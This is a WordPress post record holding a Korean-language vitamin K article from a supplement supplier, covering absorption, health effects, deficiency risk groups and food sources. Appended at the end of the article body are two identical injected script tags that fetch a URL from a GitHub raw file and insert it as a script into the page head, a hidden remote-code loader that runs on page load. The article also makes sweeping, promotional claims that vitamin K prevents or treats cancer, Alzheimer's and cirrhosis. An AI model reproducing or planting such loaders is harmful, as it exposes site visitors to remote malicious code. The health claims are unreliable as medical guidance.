{"id":3718,"date":"2023-12-02T13:18:14","date_gmt":"2023-12-02T05:18:14","guid":{"rendered":"https:\/\/www.backvita.com\/?p=3718"},"modified":"2024-04-13T00:09:41","modified_gmt":"2024-04-12T16:09:41","slug":"vitamin-k","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\ube44\ud0c0\ubbfc-k\/","title":{"rendered":"\ube44\ud0c0\ubbfc K"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-72e1533\" data-block-id=\"72e1533\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3721\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp\" width=\"814\" height=\"428\" alt=\"\ube44\ud0c0\ubbfc K1\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp 814w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-300x158.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-768x404.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-600x315.webp 600w\" sizes=\"(max-width: 814px) 100vw, 814px\" \/><\/figure><\/div>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\uc758 \uace0\uc804\uc801\uc778 \uc5ed\ud560\uc740 \uc2e0\uccb4\uc758 \uc815\uc0c1\uc801\uc778 \uc751\uace0 \uae30\ub2a5\uc744 \uc720\uc9c0\ud558\ub294 \uac83\uc774\ubbc0\ub85c \uc751\uace0 \ube44\ud0c0\ubbfc\uc774\ub77c\uace0\ub3c4 \ud569\ub2c8\ub2e4. \uac00\uc7a5 \uc911\uc694\ud55c \ube44\ud0c0\ubbfc K\ub294 \ube44\ud0c0\ubbfc K\u2081\uc640 K\u2082\uc774\ubbc0\ub85c \uc77c\ubc18\uc801\uc73c\ub85c \ucc9c\uc5f0 \ud615\ud0dc\uc5d0\uc11c\ub294 \uc9c0\uc6a9\uc131 \ube44\ud0c0\ubbfc\uc73c\ub85c \ubd84\ub958\ub418\uc9c0\ub9cc \uc77c\ubd80 \ud569\uc131 \ud615\ud0dc\ub294 \uc218\uc6a9\uc131 \ube44\ud0c0\ubbfc\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ucc9c\uc5f0 \ud615\ud0dc\uc758 \ube44\ud0c0\ubbfc K\uc5d0\ub294 \uc9c0\uc6a9\uc131\uc774\uba70 \uc5f4\uc5d0 \uc548\uc815\uc801\uc774\uc9c0\ub9cc \uc0b0, \uc54c\uce7c\ub9ac, \uc0b0\ud654\uc81c \ubc0f \ube5b(\ud2b9\ud788 \uc790\uc678\uc120)\uc5d0 \uc758\ud574 \uc190\uc0c1\ub418\uae30 \uc26c\uc6b4 K\u2081(\ud544\ub85c\ud034\ub17c)\uacfc K\u2082(\uba54\ub098\ud034\ub17c)\uac00 \uc788\uc2b5\ub2c8\ub2e4. \uc870\ub9ac \uacfc\uc815\uc5d0\uc11c \uc18c\ub7c9\ub9cc \uc190\uc2e4\ub429\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \uc778\uacf5 \ud569\uc131 \ube44\ud0c0\ubbfc K\u2083, K\u2084\ub294 \uc218\uc6a9\uc131\uc774\uba70, \uc778\uacf5 \ud569\uc131 \ube44\ud0c0\ubbfc K\u2085, K\u2087 \ub4f1\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u00a0<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/vitamin-k1\/\">\ube44\ud0c0\ubbfc K\u2081<\/a> \uc740 \uc8fc\ub85c \uc2dc\uae08\uce58, \uc54c\ud314\ud30c \ub610\ub294 \uae30\ud0c0 \uc2dd\ubb3c\uc5d0\uc11c \uc5bb\uc744 \uc218 \uc788\ub294 \ucc9c\uc5f0 \ub179\uc0c9 \uc2dd\ud488\uc5d0 \uc874\uc7ac\ud569\ub2c8\ub2e4. \ub300\ub450\uc720, \uc720\ucc44\uc720, \ubaa9\ud654\uc528\uc720 \ub4f1\uacfc \uac19\uc740 \uc77c\ubd80 \uc2dd\ubb3c\uc131 \uae30\ub984\ub3c4 \uc911\uc694\ud55c \uacf5\uae09\uc6d0\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\u2082\ub294 \uc7a5\ub0b4 \uc138\uade0\uc5d0 \uc758\ud574 \ud569\uc131\ub418\uac70\ub098 \ubc1c\ud6a8 \ucf69, \uc721\ub958, \ub2ec\uac40, \uc6b0\uc720\uc5d0\uc11c \uc5bb\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc7a5\ub0b4 \uc138\uade0\ucd1d\uc5d0 \uc758\ud574 \ud569\uc131\ub418\ub294 \uc591\uc740 \uc801\uc9c0\ub294 \uc54a\uc9c0\ub9cc \ud761\uc218\ub418\ub294 \uc591\uc740 \ub9e4\uc6b0 \uc801\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud761\uc218 \ub300\uc0ac<\/h2>\n\n\n\n<p>\u00a0\uc758 \ud761\uc218 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/vitamin-k1\/\">\ube44\ud0c0\ubbfc K\u2081<\/a> \uc640 K\u2082\ub294 \ub2e4\ub978 \uc9c0\uc6a9\uc131 \ube44\ud0c0\ubbfc\uacfc \ub9c8\ucc2c\uac00\uc9c0\ub85c \ub2f4\uc999\uacfc \ucdcc\uc7a5\uc561\uc758 \ucc38\uc5ec\uac00 \ud544\uc694\ud558\uba70 \ud0ac\ub85c\ubbf8\ud06c\ub860\uacfc \uacb0\ud569\ud558\uc5ec \ub9bc\ud504\uacc4\ub97c \ud1b5\ud574 \uc6b4\ubc18\ub429\ub2c8\ub2e4. \ud761\uc218 \ud6a8\uc728\uc740 \ube44\ud0c0\ubbfc K\uc758 \uacf5\uae09\uc6d0\uacfc \uc12d\ucde8\ud55c \ube44\ud0c0\ubbfc K\uc758 \ubd80\ud615\uc81c\uc5d0 \ub530\ub77c \ud06c\uac8c \ub2ec\ub77c\uc9d1\ub2c8\ub2e4(10%~80%).<\/p>\n\n\n\n<p>&nbsp;\uc2dd\uc0ac\uc5d0 \ud3ec\ud568\ub41c \ube44\ud0c0\ubbfc K\ub294 \ub300\ubd80\ubd84 K\u2081\uc640 K\u2082\uc758 \ud63c\ud569\ubb3c\uc785\ub2c8\ub2e4. \uc774\ub7ec\ud55c \ud63c\ud569\ubb3c\uc758 \ud761\uc218\uc728\uc740 \uc77c\ubc18\uc801\uc73c\ub85c \uc57d 40% ~ 70%\uc785\ub2c8\ub2e4. \ud761\uc218 \uba54\ucee4\ub2c8\uc998\uc774 \ub2e4\ub985\ub2c8\ub2e4. \uc2e0\uccb4 \uc790\uccb4\uc640 \uc7a5\ub0b4 \uc138\uade0\ucd1d\uc740 \ubaa8\ub450 \ube44\ud0c0\ubbfc K\u2081\ub97c \ube44\ud0c0\ubbfc K\u2082\ub85c \uc804\ud658\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uac04\uc758 \ube44\ud0c0\ubbfc K \uc800\uc7a5 \ub2a5\ub825\uc740 \uc81c\ud55c\ub418\uc5b4 \uc788\uc73c\ubbc0\ub85c \uc778\uccb4\ub294 \ube44\ud0c0\ubbfc K\ub97c \uc801\uac8c \uc800\uc7a5\ud558\uace0 \uc57d 2.5\uc2dc\uac04\uc5d0 \ud55c \ubc88\uc529 \ube60\ub974\uac8c \uc7ac\uc0dd\ud569\ub2c8\ub2e4. \uac04\uc740 \uccb4\ub0b4 \ube44\ud0c0\ubbfc K\u2081\uc758 10%\uc640 \ube44\ud0c0\ubbfc K\u2082\uc758 90%\ub97c \uc800\uc7a5\ud569\ub2c8\ub2e4. \uc138\ud3ec \ub0b4\uc5d0\uc11c \ube44\ud0c0\ubbfc K\ub294 \uc8fc\ub85c \uc0dd\uccb4\ub9c9(\ud2b9\ud788 \uc18c\ud3ec\uccb4\uc640 \ubbf8\ud1a0\ucf58\ub4dc\ub9ac\uc544 \ub9c9)\uc5d0\uc11c \ubc1c\uacac\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\uc758 \uc800\uc7a5 \uc6a9\ub7c9\uc740 \ub9e4\uc6b0 \ub0ae\uc9c0 \ub9cc \uc7ac\ud65c\uc6a9 \ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ube44\ud0c0\ubbfc K \uc12d\ucde8\ub7c9\uc5d0 \ub530\ub77c \ube44\ud0c0\ubbfc K\ub294 \ud558\ub8e8\uc5d0 200~2,000\ud68c \uc7ac\ud65c\uc6a9\ub418\uc5b4 \uccb4\ub0b4 \ube44\ud0c0\ubbfc K\uc758 \uade0\ud615\uc744 \uc720\uc9c0\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uac74\uac15\uacfc\uc758 \uad00\uacc4<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>1. \uc751\uace0 \ub2e8\ubc31\uc9c8 \ud569\uc131 \uc870\uc808<\/strong><\/h3>\n\n\n\n<p>&nbsp;\ud604\uc7ac \ube44\ud0c0\ubbfc K\uac00 \ud2b9\uc815 \uae00\ub8e8\ud0d0\uc0b0 \uc794\ub958\ubb3c\uc5d0 \uce74\ub974\ubcf5\uc2e4\uae30(-COOH)\ub97c \ucd94\uac00\ud558\uc5ec Gla\ub85c \uce74\ub974\ubcf5\uc2e4\ud654\ud560 \uc218 \uc788\ub294 \ub2e8\ubc31\uc9c8\uc740 \ucd5c\uc18c 12\uac00\uc9c0\uac00 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ub7ec\ud55c \ub2e8\ubc31\uc9c8\uc744 \ube44\ud0c0\ubbfc K \uc758\uc874\uc131 \ub2e8\ubc31\uc9c8\uc774\ub77c\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uadf8\uc911 \ub300\ud45c\uc801\uc778 \uac83\uc740 \ucd9c\ud608\uc744 \uc608\ubc29\ud558\uace0 \ud608\uc804\uc99d\uc744 \uc720\ubc1c\ud558\ub294 \ub370 \uc911\uc694\ud55c \uc5ed\ud560\uc744 \ud558\ub294 \uc751\uace0 \uc778\uc790 II, VII, IX \ubc0f X\uc785\ub2c8\ub2e4. \ub610\ud55c \ud56d\uc751\uace0 \ub2e8\ubc31\uc9c8 C\uc640 S, \ub2e8\ubc31\uc9c8 Z\uc640 M\ub3c4 \ube44\ud0c0\ubbfc K \uc758\uc874\uc131 \uc751\uace0 \uc778\uc790\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>2. \ubf08 \uac74\uac15 \uc99d\uc9c4<\/strong><\/h3>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\u2082\ub294 \ubf08 \ud615\uc131\uacfc \uace8 \ubb34\uae30\uc9c8\ud654\ub97c \ucd09\uc9c4\ud560 \ubfd0\ub9cc \uc544\ub2c8\ub77c \uace8 \uc7ac\ud761\uc218\ub97c \uc5b5\uc81c\ud558\uace0 \uace8\ub2e4\uacf5\uc99d \uce58\ub8cc\uc5d0 \uc77c\ubc18\uc801\uc73c\ub85c \uc0ac\uc6a9\ub418\ub294 \uc57d\ubb3c\uacfc \uc2dc\ub108\uc9c0 \ud6a8\uacfc\ub97c \ub0bc \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uacfc\uac70\uc5d0\ub294 \uace8\ub2e4\uacf5\uc99d \uce58\ub8cc\ub098 \uc608\ubc29\uc744 \uc704\ud574 \uce7c\uc298 \ubcf4\ucda9\uc744 \uac15\uc870\ud588\uc9c0\ub9cc, \uce7c\uc298\uc744 \ub9ce\uc774 \uc12d\ucde8\ud574\ub3c4 \uace8\ub2e4\uacf5\uc99d \uc99d\uc0c1\uc774 \ub4dc\ubb3c\uc9c0 \uc54a\uc73c\uba70, \uc7a5\uae30\uac04 \uce7c\uc298 \ubcf4\ucda9(1000 mg\/d)\uc740 \ub1cc\uc878\uc911, \uc2ec\ud608\uad00 \uacbd\ud654\uc99d, \uc2ec\uadfc\uc758 \ub113\uc740 \ubd80\uc704\uc640 \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uacbd\uc0c9\uacfc \ub2e4\ub978 \uc9c8\ubcd1\uc740 \ubc00\uc811\ud55c \uad00\ub828\uc774 \uc788\uc73c\ubbc0\ub85c \uace8\ub2e4\uacf5\uc99d \uc608\ubc29 \ubc0f \uce58\ub8cc\ub97c \uc704\ud574 \uce7c\uc298 \ubcf4\ucda9\uc744 \ub9f9\ubaa9\uc801\uc73c\ub85c \uac15\uc870\ud558\ub294 \uac1c\ub150\uc740 \uc218\uc815\ub418\uc5b4\uc57c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ud608\uc7a5 \ub0b4 \ucda9\ubd84\ud55c \uc591\uc758 \ube44\ud0c0\ubbfc K\u2082\ub294 \ube44\uc815\uc0c1\uc801\uc778 \uc870\uc9c1 \uc11d\ud68c\ud654\ub97c \uc5b5\uc81c\ud558\uace0 \uc5ed\uc804\uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0 \uce7c\uc298 \ubcf4\ucda9\uc774 \uace0\uce7c\uc298\uc758 \ubd80\uc791\uc6a9\uc744 \ud53c\ud558\uba74\uc11c \uae0d\uc815\uc801\uc778 \uc5ed\ud560\uc744 \ud560 \uc218 \uc788\ub294 \ube44\ud0c0\ubbfc K\u2082\ub294 \uce7c\uc298\uc774 \uc788\uc5b4\uc57c \ud560 \uacf3\uc5d0 \uce7c\uc298\uc774 \uce68\ucc29\ub418\ub3c4\ub85d \ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u00a0\uc65c\ub0d0\ud558\uba74 <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/vitamin-k2\/\">\ube44\ud0c0\ubbfc K\u2082 <\/a>\uc740 \uc624\uc2a4\ud14c\uc624\uce7c\uc2e0\uc744 \ud65c\uc131\ud654\ud558\uc5ec \ubf08 \ud615\uc131\uc744 \ucd09\uc9c4\ud558\uace0, \u03b3-\uce74\ubcf5\uc2e4\ud654\ub41c \uae00\ub8e8\ud0d0\uc0b0 \uc794\ub958 \ub2e8\ubc31\uc9c8(MGP)\ub3c4 \ud65c\uc131\ud654\ud569\ub2c8\ub2e4. MGP\ub294 \uc5f0\uc870\uc9c1 \ubb34\uae30\uc9c8\ud654 \ubc29\uc9c0, \uc5f0\uace8 \ub300\uc0ac \uc870\uc808, \uc5f0\uace8 \ubb34\uae30\uc9c8\ud654 \uc5b5\uc81c\uc640 \uac19\uc740 \uc911\uc694\ud55c \uae30\ub2a5\uc744 \ud569\ub2c8\ub2e4. \uc774 \uc808\ubb18\ud55c \uce7c\uc298 \uc870\uc808 \uba54\ucee4\ub2c8\uc998\uc740 \uc778\uccb4\uc758 \uce7c\uc298\uc744 \uc62c\ubc14\ub978 \uc870\uc9c1\uacfc \uae30\uad00\uc73c\ub85c \uc804\ub2ec\ud558\uc5ec \uace8\ub2e4\uacf5\uc99d\uacfc \ub3d9\ub9e5 \uc11d\ud68c\ud654 \ubb38\uc81c\ub97c \ub3d9\uc2dc\uc5d0 \ud574\uacb0\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3. \ub2f9 \ub300\uc0ac\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce69\ub2c8\ub2e4.<\/strong><\/h3>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\ub294 \uc624\uc2a4\ud14c\uc624\uce7c\uc2e0(OC), \uc131\uc7a5 \uc5b5\uc81c \uc778\uc790 6, \uce74\ubcf5\uc2dc\uae00\ub8e8\ud0d0\uc0b0 \ub2e8\ubc31\uc9c8(MGP), \uc544\ub514\ud3ec\ub125\ud2f4, \uc5fc\uc99d \uc778\uc790 \ubc0f \uc9c0\uc9c8\uc758 \ubcc0\ud654\ub97c \ub9e4\uac1c\ud558\uc5ec \uc778\uc290\ub9b0 \uc800\ud56d\uc131\uacfc \ud3ec\ub3c4\ub2f9 \ub300\uc0ac\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc73c\ubbc0\ub85c \ub2f9\ub1e8\ubcd1 \uc608\ubc29 \ubc0f \uc911\uc7ac\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>4.\uae30\ud0c0<\/strong><\/h3>\n\n\n\n<p>\u00a0<a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/vitamin-k\/\">\ube44\ud0c0\ubbfc K<\/a> \uc740 \uc2ec\ud608\uad00 \uc11d\ud68c\ud654 \uc608\ubc29 \ubc0f \uc5ed\uc804, \uac04\uc554 \ubc0f \uac04\uacbd\ud654 \uc608\ubc29, \uc54c\uce20\ud558\uc774\uba38\ubcd1 \uc608\ubc29, \uc554(\ucdcc\uc7a5\uc554, \uac04\uc554 \ub4f1) \ud1f4\uce58, \ub958\ub9c8\ud2f0\uc2a4 \uad00\uc808\uc5fc \ud1f4\uce58, \uc815\ub9e5\ub958 \uc608\ubc29, \ud53c\ubd80 \uac74\uac15 \uc99d\uc9c4 \ubc0f \uc77c\ucc28 \uc9c8\ud658 \uce58\ub8cc\uc5d0\ub3c4 \ud6a8\uacfc\uac00 \uc788\uc2b5\ub2c8\ub2e4. \uc6d4\uacbd\ud1b5 \ubc0f \uae30\ud0c0 \uce21\uba74\uc5d0\uc11c\ub3c4 \uc5ed\ud560\uc744 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uacb0\ud54d \ubc0f \ucd08\uacfc<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\ubd80\uc871<\/strong><\/h3>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\uc758 \uc77c\uc77c \ud544\uc694\ub7c9\uc740 \uccb4\uc911\ub2f9 \uc57d 1\u03bcg\/kg\uc785\ub2c8\ub2e4. \ube44\ud0c0\ubbfc K \uacb0\ud54d\uc740 \uc8fc\ub85c \uc751\uace0 \uacb0\ud568 \ubc0f \ucd9c\ud608\ub85c \ub098\ud0c0\ub098\ub294 \uc800\ud504\ub85c\ud2b8\ub86c\ube48\ud608\uc99d\uc744 \uc720\ubc1c\ud569\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \ube44\ud0c0\ubbfc K\ub294 \uc2dd\ubb3c\uacfc \ub3d9\ubb3c \uc870\uc9c1\uc5d0 \ub110\ub9ac \ubd84\ud3ec\ub418\uc5b4 \uc788\uace0 \uc815\uc0c1\uc801\uc778 \uc7a5\ub0b4 \uc138\uade0\ucd1d\uc740 \ube44\ud0c0\ubbfc K\u2082\ub97c \ud569\uc131\ud560 \uc218 \uc788\uc73c\uba70 \ube44\ud0c0\ubbfc K \uc8fc\uae30\ub294 \ube44\ud0c0\ubbfc K\ub97c \ubcf4\uc874\ud558\uae30 \ub54c\ubb38\uc5d0 \uac74\uac15\ud55c \uc131\uc778\uc5d0\uac8c \ube44\ud0c0\ubbfc K \uacb0\ud54d\uc740 \ud754\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uace0\uc704\ud5d8\uad70<\/h2>\n\n\n\n<p>- \ub2e4\uc774\uc5b4\ud2b8<\/p>\n\n\n\n<p>- \uc7a6\uc740 \ucf54\ud53c<\/p>\n\n\n\n<p>- \uc2ec\ud55c \ud654\uc0c1 \ub610\ub294 \uc678\uc0c1, \uc218\uc220<\/p>\n\n\n\n<p>- \ud56d\uc0dd\uc81c \uce58\ub8cc, \uc7a5\ub0b4 \uc138\uade0\ucd1d \ubd88\uade0\ud615<\/p>\n\n\n\n<p>- \ub2f4\ub3c4 \ud3d0\uc1c4, \ud761\uc218 \uc7a5\uc560 \ub610\ub294 \uc2e4\uc9c8 \uac04 \uc9c8\ud658<\/p>\n\n\n\n<p>&nbsp;- \ud2b9\uc815 \uc57d\ubb3c(\ud56d\uacbd\ub828\uc81c, \ucfe0\ub9c8\ub9b0, \ud56d\uc751\uace0\uc81c, \ud2b9\uc815 \ud56d\uc0dd\uc81c, \ud2b9\ud788 \uc138\ud314\ub85c\uc2a4\ud3ec\ub9b0, \uc0b4\ub9ac\uc2e4\uc0b0\uc5fc, \uace0\uc6a9\ub7c9\uc758 \ube44\ud0c0\ubbfc A \ub610\ub294 \ube44\ud0c0\ubbfc E \ud3ec\ud568) \ubcf5\uc6a9 \uc911\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;- \ucdcc\uc7a5 \uc9c8\ud658 \ud658\uc790, \ub2f4\uad00 \uc9c8\ud658 \ud658\uc790, \uc18c\uc7a5 \uc810\ub9c9 \uc704\ucd95 \ub610\ub294 \uc9c0\ubc29\ubcc0\uc774 \uc788\ub294 \ud658\uc790.<\/p>\n\n\n\n<p>&nbsp;\uc2e0\uc0dd\uc544, \ud2b9\ud788 \ubbf8\uc219\uc544\ub294 \ube44\ud0c0\ubbfc K \uacb0\ud54d\uc758 \uace0\uc704\ud5d8\uad70\uc73c\ub85c, \uadf8 \uc774\uc720\ub294 \ub2e4\uc74c\uacfc \uac19\uc2b5\ub2c8\ub2e4: \ud0dc\ubc18\uc740 \uc9c0\uc9c8 \uc6b4\ubc18\uc5d0 \uc0c1\ub300\uc801\uc73c\ub85c \ubd80\uc871\ud569\ub2c8\ub2e4. \u2461 \uc2e0\uc0dd\uc544 \uac04\uc5d0\uc11c \ud504\ub85c\ud2b8\ub86c\ube48 \ud569\uc131\uc774 \ubbf8\uc131\uc219\ud569\ub2c8\ub2e4. \u2462 \ubaa8\uc720\uc758 \ube44\ud0c0\ubbfc K \ud568\ub7c9\uc774 \ub0ae\uace0 1~2\u03bcg\/L(\uc6b0\uc720\uc5d0\ub294 5~10\u03bcg\/L \ud568\uc720) \u2463 \uc2e0\uc0dd\uc544\uc758 \uc7a5\uc740 \ucd9c\uc0dd \ud6c4 \ucc98\uc74c \uba70\uce60 \ub3d9\uc548 \ubb34\uade0 \uc0c1\ud0dc\uc785\ub2c8\ub2e4. \ub530\ub77c\uc11c \ub9ce\uc740 \uc544\uae30\uac00 \uc2e0\uc0dd\uc544 \ucd9c\ud608\uc131 \uc9c8\ud658 (HDN)\uc5d0 \uac78\ub9ac\uae30 \uc27d\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc2e0\uc0dd\uc544 \uc601\uc591 \uacb0\ud54d\uc758 \uacb0\uacfc\ub294 \ub9e4\uc6b0 \uc2ec\uac01\ud569\ub2c8\ub2e4. \ubcf4\ud1b5 \ucd9c\uc0b0 \ud6c4 1~7\uc77c \ud6c4\uc5d0 \ubc1c\uc0dd\ud569\ub2c8\ub2e4. \ud53c\ubd80, \uc704\uc7a5\uad00 \ubc0f \ud749\uac15 \ucd9c\ud608\ub85c \ub098\ud0c0\ub0a0 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uac00\uc7a5 \uc2ec\uac01\ud55c \uacbd\uc6b0\uc5d0\ub294 \ub450\uac1c \ub0b4 \ucd9c\ud608\uc774 \ubc1c\uc0dd\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub530\ub77c\uc11c \ud604\uc7ac \uc2e0\uc0dd\uc544\uc5d0\uac8c\ub294 \uacb0\ud54d\uc744 \uc608\ubc29\ud558\uae30 \uc704\ud574 \ube44\ud0c0\ubbfc K\ub97c \ud22c\uc5ec\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uae30\ubcf8 \uc18c\uc2a4<\/h2>\n\n\n\n<p>&nbsp;\uc778\uac04\uc758 \ube44\ud0c0\ubbfc K\ub294 \uc7a5\ub0b4 \uc138\uade0\ucd1d\uc5d0 \uc758\ud574 \uc0dd\uc131\ub418\uba70 \uc74c\uc2dd\uc73c\ub85c \uacf5\uae09\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ube44\ud0c0\ubbfc K\uac00 \ud48d\ubd80\ud55c \uc2dd\ud488\uc73c\ub85c\ub294 \ucf69, \ubc00\uae30\uc6b8, \ub179\uc0c9 \ucc44\uc18c, \ub3d9\ubb3c \uac04, \uc0dd\uc120 \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uc77c\ubc18\uc801\uc778 \ub179\uc0c9 \ucc44\uc18c \uc911\uc5d0\uc11c\ub294 \ucf00\uc77c, \uc624\uc774, \uc2dc\uae08\uce58 \ub4f1\uc758 \ud568\ub7c9\uc774 \uac00\uc7a5 \ub192\uace0 \uadf8\ub2e4\uc74c\uc73c\ub85c \uc78e\ucc44\uc18c\uc640 \uc57c\uc0dd \ucc44\uc18c\uac00 \uadf8 \ub4a4\ub97c \uc787\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u00a0\uc78e\ucc44\uc18c\uc758 \ud3c9\uade0 \ube44\ud0c0\ubbfc K\u2081 \ud568\ub7c9\uc740 226.3\u03bcg\/100g, \uc0b0\ucc44\uc758 \ud3c9\uade0 \ube44\ud0c0\ubbfc K\u2081 \ud568\ub7c9\uc740 341.6\u03bcg\/100g\uc785\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \ubd80\ub4dc\ub7ec\uc6b4 \uc904\uae30, \uacfc\uc77c \ubc0f \ubfcc\ub9ac \ucc44\uc18c\uc758 \ud568\ub7c9\uc740 \ub0ae\uace0 \ucc44\uc18c \uc78e\uc758 \ube44\ud0c0\ubbfc K\u2081 \ud568\ub7c9\uc740 \uc904\uae30\ubcf4\ub2e4 \ub192\uc2b5\ub2c8\ub2e4. \uc78e\uc758 \ub179\uc0c9\uc774 \uc9c4\ud560\uc218\ub85d \ube44\ud0c0\ubbfc K\u2081 \ud568\ub7c9\uc774 \ub192\uc73c\uba70, \uc78e\uc758 \uc0c9\uc774 \uc9d9\uc744\uc218\ub85d \ube44\ud0c0\ubbfc K\u2081 \ud568\ub7c9\uc774 \ub192\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><strong>\ube44\ud0c0\ubbfc K\u2081 \uacf5\uae09\uc5c5\uccb4: <em>www.backvita.com<\/em><br>\uc774\uba54\uc77c: info@backvita.com<br>\uc804\ud654 +86 (029) 8187 2325<\/strong><\/p>\n\n\n\n<p>&nbsp;\ucc38\uc870:<\/p>\n\n\n\n<p>&nbsp;[1] \uc911\uad6d \uc601\uc591 \ud559\ud68c. \uc911\uad6d\uc778\uc744 \uc704\ud55c \uc2dd\uc774 \uc601\uc591\uc18c \uae30\uc900 \uc12d\ucde8\ub7c9. Beijing: Science Press, 2014.  [2]Suttie JW . \uc778\uac04 \uc601\uc591\uc5d0\uc11c \uba54\ub098 \ud034\ub17c\uc758 \uc911\uc694\uc131[J]. \uc5f0\uac04 \uc601\uc591 \uac80\ud1a0, 1995, 15(1):399-417.[3]Bjrnebye VIKA . \ube44\ud0c0\ubbfc K2\uc640 \ub3d9\ub9e5 \uc11d\ud68c\ud654[J]. \ub18d\uc5c5 \uc2dd\ud488 \uc0b0\uc5c5 \ud558\uc774\ud14c\ud06c, 2008, 19(6):9-13.[4]A, Joline WJ Beulens \uc678. \"\ub192\uc740 \uc2dd\uc774 \uba54\ub098\ud034\ub17c \uc12d\ucde8\ub294 \uad00\uc0c1 \ub3d9\ub9e5 \uc11d\ud68c\ud654 \uac10\uc18c\uc640 \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4.\" \uc8fd\uc0c1 \ub3d9\ub9e5 \uacbd\ud654\uc99d 203. 2(2009):489- 493.[5]\ub80c \ub8e8\uc774\uc900, \ud0c4\uc9d5. \ube44\ud0c0\ubbfc K\uc640 \ud3ec\ub3c4\ub2f9 \ub300\uc0ac\uc5d0 \ub300\ud55c \uc5f0\uad6c \uc9c4\ud589[J]. \uc911\uad6d \uc77c\ubc18 \uc758\ud559, 2019, 22(29):5.[6] \uce74\ub124\ud0a4, M., \uc678. \"\ube44\ud0c0\ubbfc K\uc758 \ud50c\ub808\uc624 \ud2b8\ub85c\ud53d \uc791\uc6a9 : \ubf08 \uac74\uac15\uc758 \uc218\ud638\uc790 \uadf8\ub9ac\uace0 \uadf8 \uc774\uc0c1?\". Nutrition 22.7-8(2006):845-852.<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>&nbsp;The classic role of vitamin K is to maintain the body&#8217;s normal coagulation function, so it is also called a coagulation vitamin. The most important vitamin K is vitamin K\u2081 and 